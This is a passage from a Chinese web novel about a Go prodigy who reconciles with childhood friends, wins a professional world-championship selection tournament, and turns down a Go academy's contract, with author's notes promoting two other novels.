“到时候我也去找他,还要吃纪奶奶做的排骨和红烧肉,反正我现阶段的比赛已经打完了,有的是时间!” 一听到赵言权要亲自去找纪辰新,苏陌的心里顿时不舒服了。 去吃饭不要紧,但依照纪奶奶那个热情的性子,绝对也会让赵言权也留宿的。 一想到纪辰新或许要跟赵言权睡一张床,他整个人都不好了。 “你不是想要联系方式吗?”苏陌紧急拦住他,“我给你联系方式,你别去打扰他!” 赵言权刚按下拨通键,“真的?” “不对,什么叫打扰他啊,你去就不打扰了?” “真是奇怪!” 苏陌不愿与他说太多,抿了下唇道,“你就说要不要联系方式吧。” 赵言权瞬间变脸,按掉了通话,返回到了联系人页面,“说吧,什么号码,我自己打。” 苏陌提了个要求,“联系方式可以给你,但你得答应我一个条件。” 这事也太多了,赵言权撇撇嘴,最终还是同意了,“只要不是太过分的就行。” “你一定能做到。”苏陌深吸一口气,语气笃定,“是这样的,我跟纪辰新说我嗓子坏了,说不了话,你别给我露馅了。” “啊?”赵言权一脸懵逼,他以为自己产生了幻听,“你嗓子坏了?那我现在听到的是什么?” “你到底在搞什么啊?” 苏陌绷着嘴角,声音是惯常的冷淡,“别管我做什么,你照我说的做,你还要不要联系方式了?” “好好好,要要要。”赵言权随便他了,一个劲答应了再说。 他就这样捧着手机,“快说吧,什么号码?” 苏陌冷冷睨着他,不太情愿地报了串号码出来。 赵言权一边输入,一边怀疑,“你都不用看手机的吗?直接就背出来了?” “你是不是在耍我,该不会给的错误号码吧?” “你让我看一下!” “没骗你。”苏陌从小就有过目不忘的本事,就凭他能将棋局默出来时就可见一斑了,就一串数字而已,一眼他就记下了。 不过他这本领,一般也受他控制,只要是他想要记下的,他就都能记下。 但若是遇上不感兴趣或是没必要的,他就算留有印象,也会选择遗忘,就跟清理内存一样。世界那么大,每天碰上各式各样的人和事太多了,那些不跟他产生关联的事,萍水相逢的陌生人,都是没必要记的。 “是不是他,你打过去不就知道了吗。”苏陌始终没给他看手机。 赵言权吐出口气,“行,我打,打就打。” 按键一拨,响铃第一遍时,根本没有人接。 赵言权不由纳闷,“咦,没听到?” 说着,他又打开始打第二遍。 与此同时,网吧里,打游戏正起劲的纪辰新,被手机铃声吵的不行。 终于,他在手机铃声响第三遍时,放下了键盘和鼠标,从兜里掏出手机看了眼。 陌生号码? 说实话,他目前手机里总共也就存了两个号码,一个是奶奶,一个是苏陌。 谁会给他打电话啊? 纪辰新没头绪的按了接通,“喂?谁啊?” 对面赵言权听到声音,咽了咽口水,试探道,“请问,是纪辰新吗?” “嗯,我是,请问你是谁?”纪辰新挑了下眉,淡淡道。 “好你个纪辰新,我是谁你都听不出来?”确定了是他本人,赵言权瞬间开喷,“年少的情谊果然还是太浅,离开都不说一声。” “你就是这个世界上最冷漠,最绝情的人!” “我不信你在网上或是电视上看不到我们的消息,你不要狡辩,是你自己要放弃这段友情的,跟我们没关系。” “别以为我会原谅你,我赵言权是什么人?” “我会缺朋友吗?” “啊?你说话啊!” “你哑巴了?” “你别想逃避,你今天必须说清楚!” “我给你一个解释的机会!” “只有一分钟时间!” “59、58、50” 纪辰新整个人一激灵,这都已经不是被骂懵这么简单了,根本就是插不上嘴啊。 每当他想张唇说点什么,下一秒就会被堵回来。 对面还在倒计时,“30、25、” 纪辰新:“” “你” 对面:“10、9、” 纪辰新:“我” 对面:“3、2、1。” “0.99、0.98、0.97” 纪辰新:“” 赵言权发了一通脾气后,又死死盯着手机屏幕,说出去的话,就跟泼出去的水一样,纪辰新都还没解释,他更不可能拉下面子去怎么样的 在他看来,本来就是纪辰新的错,今天必须给一个交代! 纪辰新:“对不起。” 比起解释,有时候道歉才是朋友之间最无法承受的。 赵言权瞬间卡了壳,他嘴硬道,“谁要听你说对不起了。” 为什么不解释? 只要给一个合理的解释,他也不是不能原谅的。 纪辰新靠在网吧椅子上,游戏都没玩了,四周充斥着各种嘈杂声,他重复了一遍,“对不起。” “我不是故意的。” 赵言权突然有种上不来又下不去的感觉,他挠了挠头,吞吞吐吐地道,“所以呢,你想说什么?” 纪辰新手指无意识地滑动鼠标,将问题抛了回去,“你想如何?” “你问我?”赵言权白眼一翻,“有没有搞错?你难道不该解释一下吗?” 听到这,纪辰新倏然有些想笑,但他忍住了,“你都说了不会原谅我,我解释有用吗,你应该也不想和我做朋友了。” “我本来还想跟你说说我这些年的经历的,或许也没必要了吧。” 赵言权哼了一声,“怎么没必要,你先说,我再酌情考虑。” 纪辰新微微扬了下唇,本来也没打算隐瞒,便将当初离开的原因,告诉了他。 赵言权听完,抿着唇,带了点火气道,“那也没必要瞒着我们啊,我们又不会暴露你的行踪,还是说你连我们也不信?” 纪辰新不加任何掩饰地道,“对,世界上没有不透风的墙,我确实不信。” 赵言权听到回答,脸都垮了。 纪辰新就是这样,一点谎都不愿说,就算是随便扯点谎哄骗一下他们,也行啊。 毕竟赤裸裸的话,最是伤人心了。 就连一直没出声,安静听着他们对话的苏陌都感觉自己的心被刺了一下。 纪辰新盯着电脑屏幕,并未聚焦,语气飘渺,“世界上没有真正的感同身受,你们没到我这个境地,无法体会,我也不敢赌。” “别有用心的人躲在犄角旮旯里,总会循着蛛丝马迹缠上来,有时候不是保密就有用的。” 赵言权听着,越发感觉心里堵的慌,“那你现在又怎么敢露面了?不怕了?” 纪辰新自信谓叹道,“当然。” 他既然选择主动暴露,那便是做好了万全之策的准备,现在的他已经不是七年前那个手无缚鸡之力,任人宰割的小男孩了。 “你刚说纪奶奶动了个大手术,她还好吗?”赵言权关心道。 纪辰新翘了下嘴角,“很好,现在身体倍棒!” 听着赵言权的问话,纪辰新突然就想到了赵信。 赵信确实是个信守承诺的人,答应他的事,一直都有在履行。 不然当年自己用证书换了八万块钱的事,一旦暴露了,指不定又会被有心人传到赌鬼爹的耳朵里,他们很可能就走不成了,然后奶奶动手术的钱也被抢。 不过,其实那时的赵信知道的也并不多,他不知道,纪辰新会从此离开江洲。 但奶奶生病的事,纪辰新确实跟他实话实说了。 好在,赵信并没有趁人之危,强硬将他签下什么的,只是问了他大概需要多少钱。 后来,纪辰新曾无数次回想,或许那张证书根本都不值八万吧。 他不知道赵信到底私自给他多垫了多少。 也不知道,他转手出去,又亏了多少—— 作者有话说:预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收!《 》 50-60 第51章 “怎么样, 听我说了这么多,你到底要不要原谅我?”纪辰新嘴角微微弯着,问道。 赵言权喉结滚了半天, 明明答案就在嘴边,却纠结的死,“我得想想” 他并未挂断电话,目光求助地看向了一直静默的苏陌,想让他插两句话,给个台阶下, 但冷不丁又想起苏陌之前提的要求, 他现在是个哑巴 苏陌目光垂在手机屏幕上, 他的企鹅账号已经向纪辰新发出了好友申请了,由于在通话的原因,对方还没通过。 他抬眸催促着赵言权赶紧结束通话, 但赵言权握着电话好半天, 矫情的很。 纪辰新很有耐心的没挂电话, 他拿出了棋盘, 自顾自下起了棋。 终于在憋了快三分钟后, 赵言权自己给自己递了个台阶,“听苏陌说, 前段时间他去找你了, 还吃到了纪奶奶做的饭菜?” 纪辰新微微挑眉, “嗯,是的,你也要过来吗?” 赵言权正想回答是,并解释他只是有些想念纪奶奶的手艺罢了,绝对不是去见他的! 然而, 还没等他开口,就被纪辰新一口回绝了,“可能不太方便哦,我马上要来帝都了,会不在家,这样你也接受的话,那就过来吧。” 这下不止赵言权愣住了,苏陌也倏然看了过来,俩人不由对视了一眼,眸中都是相似的疑问。 “你要来帝都?”赵言权下意识道,“你是来看我的吗?” “额”纪辰新顿了下,尴尬道,“不是。” “我是过来参加选拔赛的,大概一个礼拜后吧,到时候顺便哦不时间充裕的话,咱们可以见一面!” 纪辰新紧急改口,委婉道。 “选拔赛?”赵言权眉头一皱,一脸嫌弃,“我都不想说你,上次参加什么业余赛,这次又参加什么选拔赛,你怎么净参加些没用的比赛。” “你这么好的天赋,居然全浪费在这种比赛里了?” “纪辰新,你脑子清醒一点!” “好好的职业不走,你到底要干嘛啊!” 纪辰新凝着棋盘,落下一子,“说够了吗?” “我自然有我自己的人生规划,每个人的想法是不一样的,你不能因为我跟你的想法不一样,就要求我改变吧。” 他一句话又把赵言权气个半死,“我你我这是为你可惜,你懂不懂?” 纪辰新淡淡笑了下,“知道了,谢谢关心哦,我的朋友。” “靠,谁跟你是朋友了。”赵言权一边说着关心他的话,一边嘴硬。 纪辰新不以为然,“行啊,那咱们继续绝交,挂了哈!” “你!”赵言权咬牙切齿地,“我刚刚开玩笑的。” 说完,他就挂断了电话,还是先纪辰新一步挂断的,仿佛只有抢了先,才不至于落了下风。 纪辰新听着耳边猛地“嘟”声,才意识到赵言权已经将电话挂断了,他摇了摇头,无奈的呼出口气。 赵言权的性子还是跟小时候一样,咋咋呼呼,风风火火,甚至还变的有点口是心非,也不知道跟谁学的 脑海里,突然出现了一张清冷面孔,纪辰新灵光一闪,总不会是跟苏陌学的吧? 也不是没可能 毕竟这丫的,这么多年跟在苏陌身边,时不时挑战一下,潜移默化了些脾性倒也不奇怪。 纪辰新摆弄了会儿棋子,等他再次看向手机时,才终于发现,早在半小时前,苏陌就已经发过来的好友申请。 他捏棋子的手一顿,随后立马通过。 苏陌的头像是红木棋盘里的两颗棋子,一黑一白,看着像是现拍的。 在企鹅好友通过的瞬间,他便发了消息过来。 【在干嘛?】 纪辰新瞅着面前的电脑屏幕和棋盘,斟酌道,【玩游戏。】 对面秒回,【玩什么游戏啊,可以给我看看吗。】 看看? 纪辰新立马将面前的棋盘收了起来,然后拍了个电脑界面的图发过去。 开玩笑!他是绝对不可能让苏陌知道,他在网吧玩游戏都带着围棋训练的! 不然,以那家伙的卷王属性,为了追赶他,今晚估计得头悬梁,锥刺股! 反正不管怎样,他都不能给他这个机会,必须晃他一下,【你呢?该不会在下棋?】 都不等对面回答,纪辰新立马教训,劝谏一条龙,【不是我说啊,苏陌,人一定要有点别的追求,不能一辈子都泥足深陷于棋盘里吧!】 【你看我,都已经十天半个月没碰围棋了,平时就爱打打篮球啊,玩玩游戏这些。】 【你就不行,活得太紧绷了,要学会松弛!】 苏陌坦然道,【可我对除围棋以外的一切都不感兴趣。】 他没敢说的是,除了围棋,还有你,也是他感兴趣的。 纪辰新继续忽悠,【哎呀,你这样肯定是不行的,围棋固然要下,但这并不是你人生的全部啊!】 【快下载几个游戏,陶冶一下情操。】 【我这都是为你好!】 苏陌乖巧点头,【哦哦,好吧。】 * 申请成为职业初段的过程很顺利,纪辰新在拿到结果后,立马就在网上报了世界赛的选拔。 这个比赛,是分了不同批次进行选拔的。 之前高考期间就已经选了两批了,现在这次是最后一批,纪辰新紧赶慢赶,在报名截止的最后一天,赶上了。 当他再次踏上帝都这片天地时,并没有第一时间告诉苏陌和赵言权,反而一直跟他们说的是,家里临时有点事,过两天才到。 他想参加完选拔赛后,再去找他们,省的到时候一个两个的都劝他,让他弃了邪修走正途! 没有人明白他为什么要这么做,只有系统知道。 他们要的就是一鸣惊人,要的就是横空出世,要的就是碾压男主,率先拿到职业九段。 若是像苏陌这样一年一年打比赛,别说任务了,黄花菜都凉了。 他这条路虽险,胜算也小,但一旦成功,回报率却是实打实的啊。 他没有时间了,必须拼一把。 纪辰新来到主办方披露的地点后,主动递交了身份证,工作人员随即给他安排了住宿,并介绍道: “此次选拔赛为期两天,从明天早上九点开始,赛场会提供午餐。” “若有任何疑问,随时可以找相关人员,这是赛前指引,可以看一下。” 纪辰新接过指引,去了工作人员安排的房间,一个大床房,终于不是与人合住了。 在将行李放下后,他就根据指引去了赛场,每次比赛前,他都有提前熟悉赛场的习惯。 这次选拔赛的赛场,是在一个棋院,在帝都排行第三,距离选手住的地方,也就五六分钟。 由于明天就要比赛,所以现场直接戒严了,不准任何人出入,纪辰新没办法只能在外围打量。 棋院的门是木质的,最外围挂着满墙的围棋历史照片,以及黑白棋子组成的各种赛事的logo,甚至于一些棋手对弈的照片。 从这些信息就可以看出,这个棋院经常承接一些大型比赛。 他一张张看过去,直到看到了一个熟悉面孔。 如果他没记错的话,这个人是崔文和? 年少的记忆突然在脑海翻涌,纪辰新确定以及肯定这人就是崔文和。 即便他现在留起了长发,眉眼斜长,气质上更秀气了,甚至从背影看雌雄莫辨,但纪辰新还是一眼就认出了他。 看来,这些年,他混的还不错,纪辰新看着他照片最底下的比赛信息,得出结论。 在棋院外围逛了一圈,因为不能进去,纪辰新也就没了兴致,直接回了房间休整。 直到第二天早上,他按照生物钟醒来,在简单吃完早餐后,八点左右踏入了赛场。 整个棋院都没有什么花里胡哨的装饰,进入内院时,梁上还挂着古朴的牌匾,“慎思笃行”。 工作人员井然有序地安排着选手进入赛场,棋院走廊的木质地板被踩出了细微的“吱呀”声。 赛场安置在二楼的大厅,几十张榧木棋盘依次排开,窗外的树影随风轻轻晃动,赛场角落摆着几盆文竹,清雅又宁静。 临近比赛时间时,裁判现场再次宣读了一次规则。 “第三批选拔赛,跟前两批一样,按照积分赛+淘汰赛的混合赛制。” “为期两天的比赛,第一天小组积分赛,40名选手分成8个小组,每组5人,每个小组内进行单循环赛,即每人都要与小组内其他4人比赛,比赛胜者获得2积分,负者不计分。” “第二天是淘汰赛,根据小组积分排名,每个小组前两名晋级,共16人进入淘汰赛。随后16人再进行单败淘汰赛,最终决出前2名,即可获得参加世界赛的资格。” 相当于40进2,其激烈程度可想而知,每个人都战意满满。 纪辰新在工作人员的安排下安然落坐,这次的比赛相比于上一次难度差不多翻了两三倍。 因为参赛的都是职业选手,他们早已在职业场上摸爬滚打了不知道多久,身经百战。 但对纪辰新来说,没有差别,谁都不能阻止他晋级。 分组后,首先要进行的便是组内单循环赛。 纪辰新看着对面的短发女生,点了下头,“开始吧。” 短发女生微微致意,她拿到了先手,率先落子。 清晨的日光给棋院的玻璃镀上了暖金,巡回裁判轻步走在每一桌的间隙,脚步声被地毯吸的极轻。 棋子落在棋盘上带来或轻或重的声响,清晰地在静谧的赛场里撞出涟漪。 纪辰新坐在棋盘前,黑白棋子在光里泛着温润的光,他低眸捻起白棋,指尖悬停不过一秒,“嗒”地落在星位旁。 这一步看似平淡的棋,在之后棋局中,渐渐地汇聚成了一张密不透风的网,将黑棋的攻势一一化解。 朝阳透过东面的窗户,将棋盘切割为明暗两段,罕见的双三三布局,令短发女生不过60手,就直冒冷汗。 等纪辰新落下制胜一子时,窗外的太阳刚爬过树梢,光斜斜的铺在棋盘上,映得纪辰新手下的白棋熠熠生辉。 不到一小时,短发女生便认了输,声音带着沮丧。 纪辰新淡淡看着她,随后指了指棋盘的右下,开解道,“第51手,你若下在星位,或许还能再撑20手。” 短发女生愣了愣,随即看向了棋局,等她再抬眸时,眼睛猛的亮起,像是悟到了什么,“谢谢。” 阳光洒满走廊,第一轮比赛大多还没结束,有些棋局甚至才刚入中盘,纪辰新对女生淡然一笑,“你的领悟力还不错,继续加油。” 正午的太阳最烈,直射天空,晒的棋院的梧桐叶都打了卷,棋盘也被照的亮白。 纪辰新执黑,开局便布下复杂的劫争,对手采用的是“大斜定式”,这是众所周知的难解变化,号称,“大斜干变”。 棋盘上黑白交错,连裁判都忍不住多看了两眼。 纪辰新应对的行云流水,当白棋试图用第78手,中腹围空时,纪辰新立即用黑子凌空一截,正中白棋下腹。 对手是个胡子拉碴的青年,他一只手悬在空中,另一只手擦下了额角的薄汗,落子乱了分寸。 纪辰新乘胜追击,在劫争里稳稳吃下对方好几颗子,最后打他一套组合拳,将其中下腹洗劫一空。 青年顿时暗淡了目光,盯着棋盘沉默了好久,最终抬手认负。 此时,阳光从窗外直射进来,落在纪辰新身后的积分榜上,他的名字已经缀上了好几个胜,加分更是加到厌倦。 阳光西斜,傍晚的夕阳把天空染成了橘红色,将长长的影子透在棋盘上。 清秀男生,棋风凶悍,从开局便不断挑衅纪辰新,想要激战一番。 纪辰新淡定如狗,不论对面怎么激,他都岿然不动,就像是一片沉寂的湖水,任你风雨飘摇,我自波澜不惊。 当棋进入中盘,清秀男生终于耐心告罄,强行要切断黑棋的联系,要将其引入孤地。 纪辰新依旧从容,以一招拙劣的把戏,看似浪费“管子”实则精准守住了每一目分数。 将白棋的莽撞化解掉的同时,让其自食恶果。 接着用一连串精妙的棋艺,将白棋的边空践踏的七零八落。 男生的脸色随着夕阳一并沉了下去,他坚持下到最后一步,但胜负早已分明。 时间来到了第二天,太阳还没完全跳出地平线,却在纪辰新踏入赛场时,朝阳终于再次升起。 此时场上只剩下16名选手,淘汰赛即将拉开帷幕。 纪辰新闭了闭眼,坐在棋桌前,养精蓄锐。 对手是一个肌肉男,他经验老道,开局就避开了纪辰新设下的定式陷阱,他甚至求稳地避开了所有的复杂变化。 一直到中盘,棋局都稳的令人昏昏欲睡。 纪辰新不想跟他绕,跳出常规走法,另辟蹊径开辟新战场,他试图挑起争端,下一秒肌肉男灵活跳子,宁愿损毁少许实地,也不愿与纪辰新正面作战。 棋局在肌肉男的刻意为之下,进入了官子阶段,盘面变得细微,不打到最后很可能决不出胜负。 纪辰新步步紧逼,有条不紊地对白棋进行蚕食,他没有给白棋突破的机会,他设计了一个隐秘的扑劫,还是一个连环劫,一旦开启,将会波及小半个棋盘。 当黑棋落下,劫成,肌肉男那平静的神色终于起了波澜。 他擦了擦眼,“你什么时候设下的?我居然没看到!” 纪辰新微微鞠躬,“承让了!” 肌肉男捏着白棋,最终无奈投子,气馁到不行。 阳光落在纪辰新自信的脸上,眸中居然没有丝毫疲倦,只有赢棋后的淡然。 当太阳再次高悬,又缓缓西斜时,最后一场比赛即将开始。 夕阳从低角度摄入室内,空气中的尘埃也被照亮。 最后一局的猜先结果,依旧是纪辰新执黑,他一改之前的棋风,落子又快又狠。 棋盘的局势几乎胶着在一起,如火如荼,但在中盘时又呈现了一边倒。 纪辰新依旧保持着之前的节奏,每一步走的既扎实又令人无法招架。 当对面苦思冥想时,他拨弄着棋盒中的黑子,整个赛场安静得能听到电子计时器的滴答声。 终于,对面落子了,他在一个毫无意外的位置,起了一个小飞。 纪辰新嘴角一勾,上套了。 他瞬间在右下角走出一步,“妙手”将对面企图扭转的局势,死死扼杀在摇篮里。 对面先是疑惑,后脸色大变! 这断点他好像无路可走了。 不应,白棋会得到劫杀,应下,黑棋就直接收官,赢了。 他麻木地盯着棋局,直到计时器的报警声响起,他才堪堪认输,伸出了手,“你好强!” 纪辰新回握他,目光悠悠扫过窗外,阳光已经完全消失,隐约间好似可以看见城市灯火开始点亮。 两天的选拔赛,从日出到正午,又从夕阳到晨光,他的名字始终停在积分榜的最顶端。 未尝一败,落子间已定乾坤!—— 作者有话说:预收:《我在末世文里指挥丧尸干活》求收藏~ 文案如下: 许迟一觉醒来穿进了丧尸文里的炮灰反派,满屏的丧尸犹如过江之鲫。 天上飞的 地上跑的 水里游的 慢着……那个撑杆跳的,你是不是太嚣张了一点? 一开始,许迟只能艰难求生。 后来,偶遇丧尸突袭,许迟意外解锁了“言出法随”的异能。 从此,他让丧尸滚就滚,让丧尸爬就爬,无聊时甚至让丧尸给他跳舞解闷。 某日,狼狈又疲倦的国家战队展开救援,却看到画风清奇的一幕。 一群丧尸在跑步机上跑步。 旁边面容精致的少年嘴里念念有词“跑快点,再跑快点,发电量不够,空调带不动啊。” 再然后看到旁边湖里拼命抓鱼的丧尸 以及丧尸建房子,丧尸监工… 甚至…还有丧尸在开挖掘机? …… 许迟的小日子过得风生水起,直到那日,一个包裹严实的人找上了门,说找他谈一门生意。 “你好,我叫陆枭。” 许迟神色惊疑:谁?好耳熟,等等,难道是…那个扬言要毁灭世界的丧尸王…陆枭?!!! 然而,下一秒却听见,这个浑身散发着危险气息的男人意味不明道,“请问你这还需要包工头吗?” 第52章 暮色彻底吞没了最后一丝天光, 赛场内的灯光恰好次第亮起,暖黄的光透过窗,将夜色温柔地挡在了外面。 40进2的成绩已经出来, 与纪辰新一同晋级的,是一位青年。 青年观察了纪辰新好一会儿,主动伸出了手,“你好,认识一下,我叫章林杰。” 纪辰新微微颔首, 回握, “你好, 我叫纪辰新。” 章林杰看着比纪辰新大个两三岁,面部干净无胡茬,喜欢笑, 给人一种无距离的感觉。 由于俩人是这两天的对局里是唯一没对决过的, 章林杰对他充满了好奇。 “你中盘胜了多少?”他发出了率先发出了疑问, 或许是在评估实力。 纪辰新摇了摇头, “不太记得了。” “那你是职业几段?”章林杰继续问, 怕纪辰新觉得自己冒昧,他先介绍了自己, “对了, 我是四段。” 纪辰新顿了下才道, “初段。” “不可能!”章林杰乍然震惊,一副深受打击的模样,“这绝对不可能。” “额我没骗你。”纪辰新认真看着他,“虽然是初段,但我实际段位要比这个要高一点。” 高一点? 确定只是高一点? 章林杰当场自闭。 封闭的赛场, 除了他们俩还留在这,其他选手都已经走了。 而他们也是被棋院的工作人员留下的,说是有事相商。 等了大概七八分钟后,俩人跟随工作人员来到了一处隐蔽的棋室。 推开门,棋室静的能听见窗外风过枝叶的轻响,案上的紫砂壶冒着细弱的热气,茶盏沿边凝着水珠,戴眼镜的中年男子端坐在中央,面容和善,坐姿从容,眉梢带着温和的笑意。 他笑着道,“进来坐吧。” 工作人员为俩人介绍,“这是我们棋院的理事长,陈桂峰先生。” 说罢,他就退了出去,带上了门。 纪辰新和章林杰俩人面面相觑,最后还是坐到了指定位置,陈理事长的正对面。 这位理事长先是给俩人泡了茶,然后介绍了一下奕星棋院的背景,多么多么有前途,举办过多少界,各式各样的比赛,棋院有哪些雄厚资源之类。 纪辰新越听越觉得这一幕熟悉,这不就跟当初赵信和袁仁想收他的时候,一个套路吗。 他侧目一看,章林杰听的津津有味,已经露出了向往的表情。 不过,仔细想想,奕星棋院能做到帝都第三,确实是有些本事的。 十分钟之后,陈桂峰终于进入了主题。 “你们俩都是没有所属棋院的野生棋手,你们训练的过程一定很艰苦吧,没有资源,没有设备,没有技术的帮助,可想而知,你们能走到这一步有多不容易。” “就像这次的选拔赛,你们需要拼尽全力厮杀才能得到这个来之不易的名额,但你们若是有棋院就不必这么辛苦了。” “我们奕星棋院,虽比不上国棋院,但在这次的世赛选拔中却拿到了2个名额。” “国棋院也就3个,而排名第二的云松棋院,只拿到1个名额。” “我们奕星的未来不可小觑,我相信在不久的将来我们会更加出类拔萃。” “我想邀请你们加入奕星,一起共创辉煌,你们俩可愿意?” 话落,棋室陷入了一片死寂,章林杰神色激动,虽还未开口,但内心已经波涛汹涌。 纪辰新则陷入了沉思,陈桂峰说的的确没错,有棋院直接分配名额,比他们去厮杀好过千倍万倍,但有了归属棋院的弊端,他可一点也没说。 享受了棋院的资源,相应的也是要付出代价的,就像他们棋院外围张贴的各式各样的比赛,棋院安排了棋手参加,棋手是没办法拒绝的。 而得来的奖金,也是要分给棋院一大半。 甚至有时候还要承接品牌代言,参加各种商业活动,或者按照棋院要求去参加各种训练以及团队建设。 棋院不允许的,一律不能做,而他想做的,也要经过棋院的同意,时不时还要去完成棋院给他下发的任务。 一想到任务,纪辰新就头疼。 他唯一且最大的任务,这么多年了都还没完成,更别说这种这些大大小小,毫无意义的任务了。 他有病才会去给自己找麻烦! 他不喜欢这种被人掌控的感觉,就像卖身契一样,毫无自由! 在章林杰即将答应之际,纪辰新先一步开口,“我承认你们棋院很优秀,很有前景,但任何的口头协定都是无效的,你想要签我们,怎么也该有合同的吧?” “我们先看看合同,再说?” 陈桂峰眸光一闪,他没想到纪辰新听到他说的话后,还如此冷静之至。 “当然有合同,我让人给你们拿过来。” 说着,他就拿出手机,发了条消息,甚至还特别提醒让xxx送进来。 纪辰新安安静静喝着陈理事长给他们泡的茶,香倒是挺香的,他对茶不了解,却也知道是好茶。 时间一分一秒过去,大概五分钟后。 敲门声在外面响起,陈理事长说了声“进”,外面人便推门走了进来。 纪辰新侧目望过去,瞬间,整个人都呆住了! 这这不是崔文和吗? 少年长发如墨般垂落肩头,在头顶灯光的映照下映出微光,他身形高挑挺拔,比例匀称,气质文雅秀气,尤其那双狭长眉眼,眼尾微微上挑,睫毛纤长。 他鼻梁挺秀,唇线清晰,整张脸线条柔和却不显女气,甚至还有着少年的清俊感,让人初见难免恍惚,分不清这独特的美到底归为哪一类。 纪辰新瞳孔震惊地盯了好几秒才移开目光,虽然他早在棋院外墙看过崔文和的照片了,但现在实打实地见到还是有些难以理解。 他不知道崔文和怎么就变这样了,在他的印象中,崔文和还是小时候那个爱哭的非主流来着。 崔文和本平静无波的眼眸,在抬眼撞见纪辰新的瞬间,瞳孔骤然缩成一点,浑身血液仿佛瞬间涌到了心口,乌黑的长发似乎都因这突如其来的晃神而顿住了。 只见他僵在原地,拿着合同的指尖微微发颤,在陈理事长的唤声中,终于醒神。 陈理事长笑着介绍,“这是我们棋院的棋手,崔文和,职业五段。” 章林杰盯着他一错不错,神色激动地道,“我知道,我知道,棋公子!我经常看他打比赛。” 崔文和在围棋圈是这两年才出名的,他的粉丝都亲切地称呼他为“长发棋公子,墨发逸仙。” 章林杰耳尖微微红着,没想到能亲眼见到棋公子本人,一时结结巴巴,语无伦次。 陈理事长看他这样,便知道在这棋公子效应下,这事算是成了。 只是另一位,怎么就无动于衷呢?他不由眯了眯眼。 纪辰新尴尬地将头低了下去,他真不是无动于衷啊,主要是这故人见面,然后发现故人不似从前,真不知道该如何开口! 算了,崔文和也没跟自己打招呼,他也装不认识好了! 陈理事长对崔文和抬手示意了下。 崔文和便将手中的合同递到了俩人面前,他的声音清润又透亮,没有丝毫杂质,“一人一份,看看吧。” 纪辰新接过时,崔文和的长发在他耳侧微微滑动,他不动声色地将头发挽到了耳后,清幽的气息传过来,淡淡的,一如他这个人一样。 俩人默不作声地对视了一眼,纪辰新转瞬又移开了目光,他实在是难以形容这种感觉,有些难熬。 好在,崔文和送完合同,便出去了。 看合同的过程中,纪辰新都有点走神了,最后他让系统帮他扫描了一遍,【有什么问题,你总结给我。】 系统效率很高,【没问题呢,宿主,就是合同期限有些久,十年,而且就跟你刚刚想的一样,各种比赛和任务是无法避免的。】 【签棋院对于我们来说没必要,我们只要围绕男主就行了,千万别为这种事分心。】 纪辰新听完后,也不打算浪费时间了,便拒绝道,“陈理事长,不好意思,我暂时还不想签棋院,我看还是算了吧。” 陈桂峰愣了下,抬手安抚他,“你是觉得合同有什么问题吗?我可以保证,绝对没问题的,你可以找律师来看!” “不是,我就像你之前说的,我是一个野生棋手,我已经野习惯了,自由对我来说更加重要,所以”纪辰新直言道。 陈桂峰并没有强人所难,而是退了一步道,“我很体谅你一个人打比赛的这种辛苦,但如果有棋院的帮衬,你会轻松很多,省很多事。” “就像你刚刚看到的,我们棋院的棋手崔文和,他就不用参加这次的选拔赛,我们棋院有两个名额,其中一个就给了他,比你们在外面摸爬滚的比赛是不是轻松很多?” “或者,你若是想出名,我们也可以为你宣传造势,帮你推广知名度。” “你不用急着拒绝,我给你十天时间,你好好考虑一下。” 纪辰新:“我抱歉” “我签!”章林杰打断他,急切道,“陈理事长,我愿意加入奕星棋院!” 章林杰对陈理事长说的一切都深有感触,一个人打拼真的很辛苦,甚至还会被有归属棋院的那些棋手瞧不起,他们可以光鲜亮丽地参加各种活动,赚到很多钱,而他没有资源,没有人脉,没有人愿意扶持他,他早就受够了。 何况,奕星棋院比他以前见到的那些棋院更加出名,也更有地位,他再也不用羡慕别人了,这也是他能够上的,最好的棋院了。 最终,章林杰当着纪辰新的面签下了合同,而纪辰新也没驳陈理事长面子,说是会考虑一下,再做决定。 从棋院出来后,章林杰不赞同地对他道,“你不应该拒绝这么好的机会。” 纪辰新笑笑,并未说话。 每个人都有自己的追求和使命,这是无可指摘的! 只是他没想到,崔文和居然一直站在外面,等他们? 章林杰本想上去套近乎,却被棋院的人急急忙忙喊回去了,说是还有些事情要交代。 他一走,这方天地,再次变得尴尬又静谧起来。 故人相见,久别重逢,再怎么来说也应该是欢喜的,但小时候的记忆里,他们二人之间好像并不是很和谐友善。 纪辰新看着他熟悉又陌生的轮廓,生疏地开口道,“好久不见!” 沉默在空气中蔓延,连呼吸都放的轻了。 风卷起少年柔顺的长发,他的目光上上下下牢牢黏在纪辰新身上,喉咙发紧般,“的确好久不见,我以前打听过你,还找过你。” “可赵言权说,他也不知道你去了哪。” 纪辰新有些讶异,“你找我?为什么?” 按理说,他们俩除了那次的比赛,好像没有更多的交集。 少年垂落的墨发还沾着风的微颤,眼底里尽是翻涌的情绪。 若不是当初省赛的那局指导棋,他根本拿不到业余五段证书,更参加不了定段赛,甚至入不了棋谱教材,成为被人艳羡与赞叹的标杆。 他的整个职业生涯皆因纪辰新而起。 他以前一直认为自己很倒霉,却没想到从遇到纪辰新的那刻起,好运从此不再躲着他,围棋这条路,他越走越顺。 但他想要见,想要亲口说声感谢的人,却消失的无影无踪,仿佛在惩罚他当初对他的误解与矫情。 他想他对纪辰新的情感是复杂的,愧疚、崇拜、充满了感激,或许还藏着一些什么 